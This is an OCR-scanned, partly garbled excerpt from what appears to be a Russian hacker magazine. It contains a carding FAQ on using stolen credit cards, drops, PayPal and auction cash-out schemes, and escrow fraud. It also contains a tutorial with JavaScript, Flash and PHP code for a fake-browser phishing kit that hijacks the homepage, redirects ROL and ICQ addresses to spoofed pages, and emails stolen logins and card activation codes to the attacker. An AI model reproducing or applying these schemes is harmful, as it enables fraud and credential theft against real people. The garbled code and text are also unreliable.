не знает, что товар карденный. 

Он может продать товар и 


Hy, теперь у меня карты 
чеканные! Куда их 
совать? 


Ну, совать их никуда не надо. 
Теперь, собственно, начинаем 
кардить. Только надо 
определиться, что конкретно ты 
хочешь от кардинга. 


Hy, я шмоток хочу себе 
купить! Это как y вас 
называется? 


Вещевой кардинг. Ты берешь 
креду, садишься на проксю, идешь 
в лабаз и пытаешься что-то там 
купить. Это один из самых опасных 
видов кардинга. Так как в любом 
случае ты выходишь из тени. 

Не беги покупать компьютер, 
автомобиль, Боинг и т.д. Во- 
первых, не вышлют, во-вторых, 
могут зажопить. Лучше начинать с 
малого. 


Кто такой дроп? 


Так как магазины не любят 
высылать товары в Россию (не 
знаешь, почему? ;)), тебе 
понадобится человек, который 
будет принимать заказанные 
тобой товары. Он может быть где 
угодно, но удобно, если в 
Америке. Им больше доверяют. 
Хотя если шоп, допустим, 
немецкий, то и дроп может быть 
немцем. Дропом может быть твой 
друг, живущий за бугром, или 


переслать тебе деньги (при этом 
отсчитав комиссию), может просто 
выслать тебе товар, а ты ему 
переведешь деньги. Это как тебе 
нравится. 


А кто такой вбивальщик ? 


Это человек, который идет и 
вбивает карту (совершает 
покупку) в нужный сервис. 
Например, заказывает на адрес 
дропа товар, покупает хостинг 
или еще что. Ну, думаю, понятно. 
Только если ты думаешь, что это 
так просто и любой дебил с 
кредой наперевес может стать 
вбивальщиком, то это ты зря. 
Нужно все провернуть так, чтобы 
ты выглядел полнейшим 
американцем (или кому ты там 
заказываешь). То есть у тебя все 
должно быть, как у ламерикоса: 
ось, !р(прокся), осел - в общем, 
все! И еще много нюансов. 


Что такое merchant 
account? 


Это такой транзитный счет в 
банке, который открывается 
продавцом, чтобы снимать деньги 
с карт. Открывая такой счет, банк 
соглашается платить продавцу за 
снятие денег со счетов 
покупателей в банках-эмитентах. 
Я вижу, как загорелись твои 
глаза, так что достаю 
огнетушитель и тушу. Фиг ты 
откроешь такой счет. Для этого 
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ты должен быть жителем 


ламерикосии, потом ты должен 
иметь профессионально 
оформленный сайт и ты должен 
будешь всем своим видом 
показать, что именно твой 
магазин (или порник) сможет 
окупить себя. Так что открытие 
аккаунтов дело очень сложное, и 
на первых порах тебе придется об 
этом забыть. 


Что такое PayPal (Палка)? 


Это такая система, типа наших 
WM. Но она позволяет кидать лаве 
на аккаунт с креды, а потом 
переводить их на банковский счет 
или как-нибудь по-другому 
ВЫВОДИТЬ ИХ. 


Как мне работать с 
Палкой? 


Ты заходишь на сайт, жмешь sign 


ир и вводишь инфу с карты. 
Далее указываешь созданный 
тобой e-mail и ждешь на него 
письма для подтверждения, что 
счет открыл именно ты. Потом 
заходишь на свой счет и жмешь 
«add credit сага». Если увидишь, 
что карта добавлена, то это 
значит, что ты можешь с нее 
платить. Вперед, но помни, что 
сидеть ты должен на прокси 
(ессесно, анонимном), причем 
именно той страны, из которой 
кардхолдер. И еще одно. Если с 
этой прокси уже кто-то вбивал 
креды и пришел charge back (то 
есть владелец просек фишку), то 
аккаунт заблокируют. Так что 
юзать надо не прокси со 
спайлога, а какие-нибудь редкие. 
Тебе повезет, если она будет 
вообще не юзанная. Потом 
переводишь деньгу на счет в 
каком-нибудь американском 
банке, открытом, естественно, 
каким-нибудь лохом-американцем. 
А америкос, в свою очередь, шлет 
тебе деньгу, отсчитывая себе 
процент. 

Но все не так розово, как 
кажется. Все больше проксей 
садится в черные списки Палки, 
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все меньшие суммы можно 
переводить через Manky, также 
трудно найти счет в банке. В 
общем, работать с Палкой 
становится все труднее и 
труднее. Советы: переводить 
меньше 500 долларов, покупать 
новые прокси и не жалеть на них 
денег, менять чаще браузер и 
чистить куки. 


Hy, аеще какие есть 
способы обнала, кроме 
Палки? 


Еще есть аукционы. Это когда ты 


выставляешь товар туда, потом 
какой-нибудь америкос покупает 
его, высылая тебе деньги, а ты 
ему ничего... Короче, кидалово. 
Но, когда ты вписываешь там, что 
деньги переводите на Русь, какой 
могучей она бы ни была, 
америкос ничего не вышлет. Ну не 
нравимся мы им :). Вот поэтому 
выход - дроп. Или escrow- 
сервисы. О них ниже. Вообще, 
для того чтобы работать на 
аукционах, нужно хорошее знание 
английского. 

Еще есть казино. Тут просто 
сидишь и играешь. Только не 
всякие казино поддерживают все 
бины кред. 


А дропуц ведь влететь 
может... 


Может! Причем очень конкретно. 


Если дроп - профессионал, то он 
отмажется, это его хлеб. Но вот 
если простой, честный амер, 
который знать не знает, что он 
делает, то ему будет очень 
плохо. Иногда такие письма 
приходят, что хочется лечь на 
амбразуру и рассказать, что это 
ты... Главное - относиться к 
этому всему параллельно. И 
мыло открывать одноразовое. 
Кстати, в основном лучше 
использовать либо платные мыла 
(то есть регить сервак и делать 
редирект) или бесплатные, но 
очень редкие. Потому что, во- 
первых, некоторые аукционы или 
еще кто не разрешают 
использовать бесплатные мыла, а 
во-вторых, их легче забыть. И 
лучше не использовать мыла типа 
vasylek@mail.ru и т.п., так как, я 
уже говорил, - с русскими 
почему-то дело иметь не хотят ;). 


Так что ты говорил про 
езсгом-сервисы (30)? 


Эти сервисы являются 
посредниками между покупателем 
и продавцом. Что-то типа гарант- 
сервиса. То есть покупатель 
отсылает им деньгу, продавец 
отсылает покупателю товар, если 
товар дошел, то ЭС отсылает 
деньгу продавцу. Тут можно 
выступить двумя способами: мы - 


ЭС или мы - покупатель и 
продавец одновременно, но 
выдаемся за разных людей. 
Просек? Для тех, кто в танке, 
объясняю. В первом случае мы 
ваяем ЭС и рассказываем, что 


лучше воспользоваться нашим 
сервисом, потому что мы самые 
надежные иу нас самый низкие 
проценты в размере 0,0000001% 
:). При этом нужно, чтобы на 
твой сервер заходило не 2 
кинутых чела и твой друг, а 
нормальный траф. Его тоже 
можно купить или сделать 
самому. 

Во втором же случае мы 
прикидываемся покупателем, 
вбиваем креду, потом через 
несколько дней перевоплощаемся в 
продавца и говорим, что товар 
дошел. И ЭС высылает тебе 
деньгу. 


В каких шопах 
отовариваться? 


Для того чтобы с пользой 
потратить креду, тебе нужно найти 
такие шопы (если ты выбрал этот 
вариант), которые бы выслали 
товар по пертой креде. Ищутся 
они тупым перебором. То есть 
заходишь на какой-нибудь 
поисковик или сайт, где висят 
списки шопов. Заказываешь в 
одном несколько товаров, в 
другом несколько (от двух до 
четырех) и т.д. И смотришь, какие 
шопы выслали, какие нет. Причем 
при каждом заказе ты должен 
расходовать следующие вещи: 
одну проксю, одно мыло, одну 
карту. После того как ты составил 
список из десяти шопов, считай 
себя героем. 


Как мне работать с 
магазином? 


Вот ты пришел, выбрал себе товар, 
и вылетела форма, которую надо 
заполнить, чтоб его выслали. 
Объясняю некоторые основные 
поля, которые могу встретиться: 
Billing Address. Здесь ты 
указываешь инфу о кардхолдере. 


То есть то, что указано в файле с 
кредой. Телефон от балды или 
дроповский, мыло твое. 

Shipping Address. Куда тебе 
вышлют товар. Здесь - адрес 
дропа. Телефон его же или от 
балды, или вечно занятый (есть и 
такие). Имя тоже дроповское или 
кардхолдеровское. Правда, когда 
придет курьер, то могут возникнуть 
проблемы: «Нам нужен именно 
Гейтс, а вы Аллен!». Тогда дроп 
может сказать, что он педераст... 
тьфу, передаст. 

Account Info. Это тебе предлагают 
создать аккаунт, чтоб ты мог 
видеть, как идет обработка твоего 
заказа. Вещь полезная! 


И как я могу 
контролировать 
обработку моего заказа? 


Очень просто. Есть такая темя, как 
Order Info. Скорее всего, она будет 
видна на твоем аккаунте в 
магазине. Там тебе сообщат, на 
каком этапе сейчас находится твой 
заказ. Этапы такие: Pending, 
Processing и т.д. - это значит, твой 
заказ обрабатывают, то есть 
нАливают твою креду, проверяют и 
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т.д. Если процесс затянулся 
(скажем, недели на 2-3), значит 
вряд ли статус поменяется. Статус 
Canceled означает, что заказ 
отменили. Обычно указывают 
причину. Decline - креда сдохла 
или чего-то пошло не так. Shipped, 
OK, Accepted - выслали или 
вышлют! Бывают и другие, но это 
ты поймешь. 


Что такое tracking num- 
ber? 


Значит когда твой заказ выслали, 
они сделали это через курьерскую 
службу или почту (USPS). 
Помнишь, в Изгое, с Томом 
Хэнксом, он там был директором 
или менеджером FedEx’a. Вот это 
и есть курьерская служба. Их 
много существует (UPS, AirBorne 
etc). Hy так вот, tracking number 


есть номер посылки в этих 
системах. У FedEx он состоит из 
12 знаков, у AirBorne - Ha 1 
большену ры кАк 
**** ** *. (С его помощью ты 
можешь узнать, где находится твоя 
посылка, зайдя на страницу этих 
служб. 


Как мне получить бобы с 
креды? 

Хе! Вопрос встречается везде 
среди новичков. Значит, получать 
бобы на кардерском языке значит 
«налить» (не налить в стакан, а от 
слова наличные ;), «обналивать» и 
т.д. Налить ты можешь разными 
способами: дроп продает товар и 
высылает тебе деньги, ты 
продаешь товар и т.д. Есть также 
специальные люди. 


Кто такой « нальщик» / 
« обнальщик» 2 


Это вот тот специальный чел, 
который поможет тебе получить 
бабло. Нальщики НЕ НАЛЯТ 
КРЕДЫ! То есть для этого тебе 
надо будет предварительно куда- 
нибудь вбить креду. Также, если 
ты работаешь на аукционах, то, 
соответственно, не принимаешь 
креды и наложенные платежи и не 
встречаешься с покупателем. 
Скорее всего нальщики будут 
работать с вайерами, Western 
Union и проплаченными чеками. 
Ты обговариваешь с ним вид 
приема перевода, свежесть дропа 
и т.д. И начинаешь говорить о 
процентах. Не пытайся выбить 
меньше 40-50 процентов (и тебе 
о-о-очень крупно повезет, если на 
50 процентах сойдешься). Ему в 
этом смысла никакого нет. Не 
втирай ему, что деньги чистые, так 
как на хрен ты тогда вообще 
стучишься? И, потом, не стоит 
стучаться к нему, каждый час 
спрашивая, дошел ли чек /деньги 
и т.д. Тебе сами скажут. 
Рассчитывай на 5-8 дней. 


Hy a kak я сам могу 
налить? 


Ищешь в Инете народ, живущий в 


Америке, говорящий по-русски. 
Искать можешь через ICQ White 
Pages или через Одиго. Когда 
нашел хороший список, шлешь им 
просьбу помочь с обналом денег. 
И народ соглашается. Не весь, 
конечно, но попадаются. Дальше 
ты к нему присматриваешься, 
обговариваешь процент (не 
жлобись, потом аукнется) и т.д. 
Естественно, кидал тоже до фига 
попадается, так что надо отослать 
тестовые чеки, топеу огаег, 
вайеры или с чем ты там 
работаешь... Ну вот, собственно, и 
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все. Ждешь, когда попадется 
хороший народ. 

Есть также фирмы, помогающие 
обналить вайеры, чеки и т.д. Вот 
бежишь на altavista.com или 
yahoo.com и search! Чем быстрее 
фирма ответит тебе на твой мэил, 
тем она лучше. Здесь кидал 
поменьше, но тоже есть. Так что 
снова тестовые чеки... 

Ну и сам можешь найти способ 
обнала или дропов. Все зависит 
только от тебя. 


3-3-3, ты тут сыпал 
термином вайер. Это что 
такое? 


WIRE - это банковский перевод Ha 


счет. Очень удобная фишка. 


А что такое money orders 
(cahier checks)? 

MO (cahier checks) - это что-то 
типа обыкновенного бумажного 
чека, но уже заранее оплаченного. 


Расскажи поподробнее 
про аукционы. 


Рассказываю. Хорошо, если у тебя 


на твоем акке много 
положительных отзывов 
(фидбеков). Количество 
положительных отзывов прямо 
пропорционально твоему успеху. 
Потом ты должен неплохо владеть 
фиглишем, чтоб общнуться с 
покупателем по мылу, после 
завершения торгов. 

Способами вывода денег с 
аукционов являются МО или 
Cahier Checks, так как все 
остальные способы (вайеры, 
персональные чеки, BidPay) легко 
стопануть (т.е. сделать топеу 
back). A так покупатель 
оплачивает их заранее, и их 
практически не стопают. 
Старайся не напрягать своего 
покупателя, чтоб он не 
волновался о своем чеке как 
можно дольше. Это поможет 
спокойно получить чек и 
обналичить его. И напоследок 
выбирай дропа или байера так, 
чтобы они были как можно 
дальше друг от друга. Некоторые 
экстремалы любят приезжать за 
товарами лично. 


Что такое чек? 


Я уже упоминал в ответах слова 
«чеки», «чек». Чек - это самый 
долгий, но самый дешевый способ 


оплаты, т.к. банки берут очень 
низкие проценты за их обналичку. 
Чеки бывают разные: валютные, 
рублевые, корпоративные, 
именные, дорожные. 


Как их налить? 


Кроме дорожных чеков, ты не 
можешь расплатиться ими в 
магазине. Для того чтобы 
получить за них деньги, тебе 
придется принести их в банк. 
Там их возьмут на инкассо (то 
есть пошлют запрос в банк, 
откуда он пришел, подождут 
ответ (пару недель), далее тебе 
отдадут наличку с вычетом всех 
налогов). Проценты разные. За 
дорожные чеки возьмут мизер 
(1%-5%), а вот за именные до 
22 процентов опустить могут. 
Можно также обналичить их 
через конторы, например, 
www.paycard2000.com. 


Какие есть достоинстваи 
недостатки чеков? 


Чеки, которые выписаны на чье-то 


имя (физическое лицо), тебе 
придется налить очень долго (от 
недели до нескольких месяцев), 


плюс придется заполнять до фига 
бумаг, что тоже не есть гуд. 
Дорожные чеки налят 
моментально. К недостаткам 
можно отнести лишь то, что не 
каждый банк их возьмет, хотя их 
(хороших банков) гораздо больше, 
чем тех, которые принимают чеки 
на физическое лицо. 


Как мне перевести деньги 
cCC Ha WM? 


Этот вопрос я специально оставил 
на закуску. Как известно, первое и 
последнее запоминается лучше 
всего. Отвечаю: НИКАК! Н-И-К-А- 
К! Еще раз: НИКАК! Усвоил? Не 
существует прямой схемы СС- 
>WM. 


После прочтения этого 
mAKa я станц кардером? 


Нет, нет и еще раз нет. Не вздумай 
бежать по форумам и орать на 
них, что ты кардер и все знаешь. 
Этот ФАК призван только помочь 
тебе на первых порах. Хотя лучше 
зарабатывать деньги никого не 
грабя. 


(Для 
Люлдей_в_Сером_и_Синем) 
Зачем ты написал этот 
ФАК? 


Специально для вас, чтоб вам 
было легче найти плохих дядек. 
Для администрации магазинов, 
банков, чтобы улучшили свои 
системы безопасности. Для 
покупателей, чтобы были 
осторожнее. 

А на самом деле его написал не я, 
а генератор бреда. С Новым 


годом, пошел на фиг! 
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СЕТЕВОЕ МОШЕННИЧЕСТВО 


HTTP’OBbIU 


DNS 


Берем контроль 
над браузером клиента 


Родил идею, взрыл bugtrag и нашел эксплоит DonoR 
(donor@real.xakep.ru); 

Разобрал эксплоит на составляющие и заставил осла 
подавиться своим дерьмом Dronich 
(dronich@real.xakep.ru); 

В тяжких муках закодил и задизигнил «паразита» Sevranty 
(sevranty@deepdesign.ru, vsevolod.deepdesign.ru). 


Привет необузданный и великий ALL. Приш- 
ла весна, уже тает снег и всплывает г@вно. 
На улицу надо выходить только за пивом, 
иначе есть шанс вступить во что-нибудь. Ау 
меня болит голова, и лезут в мою голову со- 
вершенно мрачные мысли. Вот и дошла до 
моей больной головы, идея Donor’a сделать 
ЭТО. И ЭТО родилось... 


ТЕМ, КТО ПИШЕТ ПИСЬМА: 


Если ты отсканировал и распознал эту 
статью, но ошибся хоть в одном знаке, то ни- 
чего работать у тебя не будет! Поэтому не 
ленись, лезь в инет и скачивай все коды с 
описаниями, так ты избегнешь глупых оши- 
бок своего ДНК. Это, как знает любой, даже 
самый последний ламер, не лечится. Для 
подводников поясню, перенос строки в За- 
vaScript строго регламентирован и описыва- 
ется правилами, при верстке кода, который 
мы приводим в статье, мы можем потерять 
часть форматирования. Поэтому или учи 
правила или лезь на сайт за образцом. 


ИДЕЯ 


Сидел как-то мистер Донор на своей хм-м- 
м... заднице и размышлял о том, какая, все 
же, замечательная вещь эти современные 
сетевые технологии, особенно, в умелых ру- 
ках: многострадального осла можно по ко- 
сточкам разобрать и обратно собрать, да так, 
что бедный юзер умом тронется, а на флэше 
вообще можно целые он-лайн тулзы мутить! 
Мысли, как застебать лопоухих ламеров, од- 
на прикольнее другой теснились в башке. 
Это ж как же все ламоботы свято уверены, 
что в родном ишаке можно только поп-апы 
стремные открывать, а с любимыми менюха- 
ми и с панелькой с кнопочками ничего слу- 
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читься не может. Авотфиг! Такой полезный 
стереотип-с надо использовать! Например, 
можно заменить все стандартные контролзы, 
панельки и скролл-бары флэшовыми муви- 
ками и рандомом запускать веселые эффек- 
ты. Типа, алерт: «Твой браузер заразился ко- 
рью!» и весь интерфейс покрывается крас- 
ными точками :). Или, «Хлебни кислоты, со- 
сунок!» и вся морда обтекает и плавится. 
Мыслям было тесно, и Донор полез в сеть ис- 
кать Ноа, чтобы срочняком поделиться во 
избежание овердоза. 

Мастер Ноа подошел к проблеме с сугубо 
утилитарной точки зрения: это ж НЛП чи- 
стой воды, наивного юзера можно так запу- 
гать и задурить, что он сам, добровольно 
скачает и установит себе, что угодно, и от- 
даст тебе любую инфу. 

Туг Донор вспомнил, что когда-то давно, когда 
он был совсем маленьким и глупым, он как-то 
залез на один порно-сайт и подцепил себе 
паразита - вместо хоумпаги к нему начала 
грузиться какая-то платная порнуха. Он по- 
том это дело затрахался из реестра вычищать. 
Сложив два и два и получив пять, Ноа и До- 
нор пришли к выводу, что если закодить па- 
гу-паразит, эмитирующую контролзы брау- 
зера, и подсадить ее юзеру вместо хомяка, то 
можно незаметно перехватить контроль над 
его машиной и получить ценную инфу, а 
если разместить такую пагу на крупном пор- 
тале, то получится что-то вроде боевого DNS. 


У BAC ECTb ПЛАН, МИСТЕР ФИКС? 


У меня есть три плана! (с) Итак, что же нуж- 
но сделать, чтобы натянуть наивного юзера 
по самые гланды? 

1. Заманить юзверя на зло-пагу, где подса- 
дить ему означенного паразита. Сделать это 
можно сотней грязных способов от спама, до 
кидания ссылки в популярную конфу - выби- 
рай на вкус. 

2. Прописать юзеру в хоупейдж линк на па- 
гу-паразит aka военный DNS. 

3. Показать юзеру неудачную загрузку его 
реального хомяка или about:blank. Еще не- 
плохая идея сымитировать загрузку сайта 
М$ (осел иногда самолично вытворяет та- 
кое паскудство). 

4. Подменить реальные контролзы фейковыми. 
5. Отловить адреса, вводимые юзверем в ад- 
ресную строку, сравнить их со списком «инте- 
ресных» урлов, таких, как адреса известных 
провайдеров, 1с4.сот, крупных @-магазинов 
ит.д., и если такой попался, выдать поддель- 
ную страницу соответствующей конторы, а 
если нет, то отправить юзверя по адресу. 

6. На поддельной странице заставить юзера 
ввести представляющие интересе конфи- 


денциальные данные, типа, логин и пасс, код 
активации интернет-карты ит.д. 

7. Сохранить полученные данные и слить се- 
бе на мыло. 

8. Окончательно задурить юзеру голову, что- 
бы выиграть время. 

Итак, начнем с реализации паразита, чтобы 
было, чего подсаживать. 


ПОДМЕНА ДОМАШНЕЙ СТРАНИЦЫ 


В соурсе (view source) нашей паги должен 
быть такой код. Он откроет наш псевдо-эк- 
сплорер. Тот, кто читал предыдущие номера, 
сразу поймет, что при минимальном измене- 
нии можно открыть этот эксплорер во весь 
экран, добавив пользователю неожиданного 
счастья в отсутствии альтернативы. 

<html> 
<script> 

var windowW = 
var windowH 


830 // wide 
640 // high 


/ from left 


var windowX = 0 / 
0 // from top 


var windowY 


var urlPop = «rol. htm» 
var title = «- » 
var autoclose = false 


$ = «width=»+windowWt», hei ght=«+windowH; 
var beIE = document.all?true: false 


function openFrameless() { 
if (beIE) { 
NFW = window. open(«», «popFrame- 
less», «»+s) 
NFW. blur () 
window. focus () 
NFW. resizeTo(windowW, windowH) 


ee ee БЕН 


Кнопочка «Чики-Пуки» и окошко 
ввода. 


А вот и наш маха-гуру код. 


МЕИ. тоуеТо (и1пдомХ , windowY) 
var frameString=«»+ 
«<html >»+ 
«<head>»+ 
«<title>»ttitlet»</title>»+ 
«</head>»+ 
«<frameset rows=’28,*,21’ framespacing=0 
border=0 frameborder=0>»+ 
«<frame name=’top’ src=’top.html’ scrol- 
Ling=’ no’ >»+ 
«<frame name=’main’ src=’«+urlPopt»’ 
scrolling=yes>»+ 
«<frame name=’bottom’ src=’bottom.html’ 
scrolling=’no’>»+ 
«</frameset>»t+ 
«</html>» 
NFW.document.open(); 
NFW. document .write(frameString) 
NFW.document.close() 
} else { 
NFW=window. open(urlPop, «рорЕгаме - 
less», «scrollbars, »+s) 
NFW. blur () 
window. focus () 
NFW. resizeTo(windowW, windowH) 
NFW.moveTo(windowX, windowY) 


} 
NFW. focus () 
if (autoclose) { 
window.onunload = fun- 
ction() {NFW.close()} 
} 


} 


</script> 


<body onload=«javascript: openFrame- 
less() ;»> 


Здесь можно пустить море твоего бреда или 
излияние твоего больного сознания, но луч- 
шим вариантом будет стандартная 404 
ошибка. У нее меньше всего шансов вызвать 
подозрение пользователя. 

</body> 

<html> 

Ну, и конечно код окончания нашей паги. Te- 
перь у нас при старте браузера появляется 
новое окно, в котором мы можем отрываться 
по полной. C чего начинается Родина? С тем- 
плейта в моей голове. Чтобы творить непо- 
требство, надо заставить пользователя пове- 
рить, что OH еще пользуется своим милым ос- 
ликом ИЕшкой. Сначала, мы эмулируем окно 
браузера - нарисуем псевдо-эксплорер, в ко- 
тором все и будет происходить. Для этого 
сделаем его скриншот, обрежем лишнее и 
сверстаем в HTML страничку (для ленивых: 
все это можно скачать с сайта). Получили 
совершенно нефункциональное HE4TO. He- 
функциональное потому, что пользователю 
некуда вводить свои любимые урлы, кото- 
рые мы должны подменить. Куда бы мы ни 
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тыкнули, ничего не происходит. ЭТИМ даже 
дедушку не обмануть. Начнем-ка мы ЭТО 
развивать. Самое главное - это строка ввода 
адреса. Наша задача заключается в том, что- 
бы на запрос определенного адреса в инете, 
пользователь попал на нашу обманку и не 
понял об этом. Для этого самым простым и 
быстрым способом является сделать аналог 
этой адресной строки на Флеше (альтерна- 
тивным вариантом является попытка утонуть 
в тонкостях JS & CSS). 

Внутри флешки рисуем текстовое поле в сти- 
ле строки ввода адреса эксплорера, вешаем 
кнопочку, которая будет ловить нажатие ен- 
тера и обрабатывать значение нашего тек- 
стового поля в момент нажатия. Для этого на 
кнопке должен висеть, например, такой код: 
on (release, keyPress «<Enter>») { 


urlQ1 = ‘www.rol.ru’; 

url@2 = ‘rol.ru’; 

url03 = ‘http://www.rol.ru’; 

url04 = ‘http://www.rol.ru/’; 

url05 = ‘http://rol.ru’; 

url@6 = ‘http://rol.ru/’; 

иг111 = ‘www.icq.com’; 

urli2 = ‘icq.com’; 

urll3 = ‘http://www.icq.com’ ; 

url14 = ‘http://www.icq.com/’; 

url15 = ‘http://icq.com’ ; 

urli6 = ‘http://icq.com/’; 

url17 = ‘web.icq.com’; 

url18 = ‘http://web.icq.com’; 

url19 = ‘http://web.icq.com/’ ; 

url21 = ‘voffice.rol.ru’; 

url22 = ‘http://voffice.rol.ru’; 

url23 = ‘http://voffice.rol.ru/’; 

t = text; 

if ( url@1 == t || url02 == t || urlQ3 == 
Е url04 == t || Ш195 == t || url06 == 
tx 

t = ‘http://sevranty.deepdesign. ru/xa- 


kep/a-004/rol.htm’ ; 

} else if ( 111 == || urll2 == | 
url13 == t || url14 == t || ш115 == 1 
url16 == t || 1117 == t || urll8 == & 
urll9 == t ) { 

t = ‘http://sevranty.deepdesign. ru/xa- 
kep/a-004/icq.htm’ ; 

} else if ( url21 == t || url22 == || 
url23 == t ) { 

t = ‘http://sevranty.deepdesign. ru/xa- 
kep/a-004/Login. php’ ; 

} else { 

t = ‘http://www. google.com. ru/se- 
arch?hl=ru&inlang=ru&ie=windows-1251&q=’ + 
t; 

} 
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BOT и скрипт — сливун на мыло. 


getURL(t, «main») ; 

} 

Длина кода зависит только от количества 
серваков, которые ты хочешь подменять. 
Все написано до извращения просто. В на- 
чале скриптика описываем адреса, которые 
мы хотим подменить (нужно помнить, что у 
одного адреса есть несколько вариантов на- 
писания, а аналог grep’a здесь может быть не 
лучшим выходом.). После этого присваива- 
ем переменной + значение нашего текстово- 
го поля, которое мы предварительно обозва- 
ли text. Дальше как всегда извращенным 
Том, сравниваем введенное юзером с об- 
разцами урлов, описанных выше - мы не 
ищем легких путей. Кстати, обращаю внима- 
ние, что у нас из фрейма с именем top 
(top.html) передается обработанный урл 
(Banya «t») в средний фрейм main (по де- 
фолту rol.htm), это делается getURL(t, 
«main»), и потом не говорите, что не поняли. 
Теперь у нас есть локальное счастье. И это 
локальное счастье мы вставляем в файл 
top.html - это верхняя часть нарезанного эк- 
сплорера. 

<td width=«100%» align=«left» nowrap va- 
Lign=«top»><img src=«gui/0.gif» width=«1» 
height=«3» hspace=0 vspace=0><br><OBJECT 
classid=«clsid:D27CDB6E-AE6D-11cf -96B8- 
444553540000» codebase=«http: //downlo- 
ad.macromedia.com/pub/shockwa- 
ve/cabs/flash/swflash. cab#version=6,0,0,0» 
WIDTH=«450» HEIGHT=«18» id=«index» 
ALIGN=«»><PARAM NAME=movie VA- 
LUE=«flash/index.swf?5»><PARAM NAME=quali - 
ty VALUE=high><PARAM NAME=bgcolor VA- 
LUE=#FFFFFF><EMBED src=«flash/index.swf?5» 
quality=high bgcolor=#FFFFFF WIDTH=«450» 
HEIGHT=«18» NAME=«index» ALIGN=«» TY- 
PE=«application/x-shockwave-flash» PLUGIN- 
SPAGE=«http: //www.macromedia.com/go/get - 
flashplLayer»></EMBED></OBJECT></td> 

Я специально здесь привел пример, как 
вставляется код АктивИкса флеша в таблицу, 
а то многие из начинающих вставляют про- 
белы или переносы строки - ГДЕ НЕ НАДО. 
Если не понимаешь, то лучше слушай стар- 
ших или читай ФАК с МАНУАЛьной терапией 
для МОЗГофф. А то при твоем умении, все та- 
блицы расползутся вкривь и вкось. Саморе- 
клама: подтверждено несколькими годами 
верстки html’a в блокноте. Хе-хе. 0... забыл 
пояснить: в файле top.html y нас находиться 
строка ввода урла (адреса), с кусками от 
скриншота браузера. В файле bottom.html 
строка статуса индикатор инета и тому по- 
добная муть. 

Чтобы совсем запутать юзера можно реали- 
зовать на флэше рабочие кнопки и выпадаю- 
щий список при вводе урла в фейковую ад- 
ресную строку, настраиваемые через XML. Но 
если лень, можно не разворачивать браузер 
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на фулскрин, а оставить часть родных кон- 
тролзов, правда, шанс успеха тогда падает. 


ЧТО БЫ ТАКОЕ ПОКАЗАТЬ? 


На данном этапе мы имеем: почти полноцен- 
ный браузер, в котором нам нечего показать. 
Для того чтобы все-таки что-то показывать, 
мы должны понять, чего мы хотим от того ла- 
мера, который попадет в наши сети. Я хочу 
от него личный логин/пароль к РОЛ’овскому 
диалапу и, конечно, активационный код но- 
вой карточки, который он введет в поле для 
пополнения СВОЕГО (читать МОЕГО) баланса. 
Еще я хочу от него логин/пароль к его АСЬКЕ 
(но это для понту). Поэтому продолжим наш 
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МОЗГовой штурм. Теперь, когда МЫ все это 
поняли и оценили трудности, нам надо нес- 
колько страниц обманок, функциональность 
бэк-офиса РОЛа и скрипты, которые все эту 
белиберду обработают. В этом вопросе про- 
ще всего реализовать всякие проверки и от- 
правки на мыло через php. Сразу скажу, 
если твой хостер имеет тебя в плане сен- 
дмейла или дерет непотребно в плане прав, 
то я могу тебе только посочувствовать. Ко- 
нечно, говорят, что на халяву и уксус слад- 
кий, но мы то уксус не пьем в принципе. 
Только пшеничный франциСКАНЕР с каль- 
МАРчиКАми, бЕЙлиС с чипСАМИ или сухой 
ЧИНзаНО под моченые яБЛОЧКИ. 


Чтобы сделать паги-обманки, нам нужен все 
тот же, наш любимый и ненаглядный про- 
дукт мега-корпорации русских засл(К)анцев 
мелкомягких, ОСЛИК ИЕ! Скачиваем полно- 
стью все станицы с картинками, ручками в 
тот отстой, который сделал осел, ПЕРЕвста- 
вляем каскадные таблицы стилей (ну он 
имеет по полной программе). Дальше испра- 
вляем в с5$ пути в бэкграунду и ручками ска- 
чиваем данные бэкграунды (их осел игнори- 
рует, замечено в версии 5.0 при скачивании 
с web.icq.com). Также ручками исправляем 
ошибки осла с ифреймами, рекламой, раз- 
личными аквив-иксами и счетчиками. Для 
РОЛа мне пришлось сделать 4етыре обман- 
ки. Первая это главная страница (на ней я 
исправил адрес в Личный кабинет). Вторая - 
запрос логина/пароля, вместо апач-автори- 
зации у РОЛа. Третья - сам Личный кабинет 
РОЛовчанина. Четвертая ввод кода актива- 
ции РОЛовской карточки. В некоторые эти 
страницы я вставил рИр’шки которые обра- 
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батывают определенные валуи, чтобы весь 
этот мозго-шит смотрелся правдоподобно. 
Дальше можно перейти ко всяким отправ- 
кам личной инфы ламера к нам на мыло. При 
клике на ссылку на Личный кабинет с об- 
манки РОЛа или наборе в адесной строке од- 
ного из этих адресов voffice.rol.ru 
http://voffice.rol.ru_http://voffice.rol.ru/ 
Из личного кабинера на РОЛе наш милый и 
любимый (Лу)юзер должен перенаправить- 
ся на нашу пагу-обманку login.php, на ней 
псевдо-апач-авторизация (copyright на оба 
эти слова. Шекспир). Пользователь вводит 
свои тайные логин/пароль. При клике на 
любой кнопке, инфа передается методом 
пост нашему скриптику post.php 


$msg .= «$n1\n»; 

$msg .= «$n2\n»; 

$msg .= « \п»; 

$msg = АИ»; 


$topic = «ROL: Login\Password»; 
$email=«sex@sex. ru»; 

mail($email, $topic, $msg, «From: 
sex@sex.ru») ; 


$goto = ‘Location: ‘.’rvoffice.php’.’?us- 
erlogin=’ .$n1; 

Header ($goto) ; 

?> 
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Вот, такой проектик у нас получился. 


<table width=90% height=90% border=0 
cellspacing=0 cellpadding=0><form 
method=post action=post.php><tr> 

Опустим избыточный код. 

<input type=text size=12 maxlength=60 па- 
те=п1 style=«font-family: Arial; font-si- 
ze: 12px; width:200; height: 20px;»> 
Снова опустим избыточный код. 

<input type=password size=12 maxlength=60 
name=n2 style=«font-family: Arial; font- 
size: 12px; width:200; height:20px;»> 
Опять опустим избыточный код. 

<INPUT type=«checkbox» name=«Order» va- 
lue=«DSN»>&nbsp;Save this password in 
your password list 

И ewe раз опустим избыточный код. 

<input type=submit name=do value=’Ok’ 
style=«width:90»> &nbsp; &nbsp; <input 
type=submit name=do value=’Cancel’ sty- 
le=«width: 90»><br> 

Ну, и опустим избыточный код 
</tr></form></table> 


Кстати, опять обрати внимание, как верста- 
ется открывающий и закрывающие тэги 
ФОРМЫ, это важно при желании избежать 
излишних пробелов. При нажатии передали 
инфу и скрипт заработал: 


<? 

$timeall = ‘Date: ‘.Date( ‘0, 9 МУН:1:$ 
‘) $SIGN.sprintf( ‘%02d%02d’ , flo- 

or ($ZONE/3600) , floor (($ZONE%3600) /60) ) . 
«\п»; 


$msg .= $timeall; 

